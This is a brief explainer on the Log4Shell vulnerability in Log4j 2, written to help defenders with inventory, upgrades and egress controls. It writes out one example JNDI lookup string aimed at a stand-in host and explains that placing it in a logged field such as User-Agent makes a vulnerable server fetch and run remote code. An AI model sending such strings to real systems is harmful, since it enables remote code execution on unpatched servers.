Log4Shell (CVE-2021-44228)

On 9 December 2021 a vulnerability was published in Log4j 2, the logging library that sits inside almost every Java application. Within hours the entire internet was scanning for it. Log4Shell has been the textbook illustration of supply-chain depth ever since.

What is Log4Shell

Log4j could look up and substitute values inside a log line. A string such as ${jndi:ldap://example.com/a} was not text to the library but an instruction: fetch something from that server and run it. Anything an application logged could carry that instruction, and applications log almost everything: a username, a search term, a User-Agent header.

How the attack works

The attacker puts the string into a field they suspect gets logged. Often that was simply the User-Agent of an HTTP request. The moment the application wrote that line, the server itself connected out to the attacker, fetched a Java class and executed it. No credentials, no interaction from an employee.

Because the server makes the outbound connection itself, this is also a textbook case of SSRF as a stepping stone to remote code execution.

Why it dragged on for years

Nobody installs Log4j on purpose. It arrives as a dependency of a framework, which arrives with a vendor’s product. Organisations simply did not know where it was running. Applications that were never patched are still found and exploited years later.

What to do now

• Inventory which applications use Log4j 2, indirect dependencies included. A software bill of materials makes this repeatable.
• Move to Log4j 2.17.1 or later. Version 2.15.0 closed this CVE, but three related vulnerabilities followed it.
• Restrict outbound traffic from servers. Without the ability to call out, the second stage of the attack fails.
• Check whether anything already arrived in December 2021. Access obtained then may still be in place.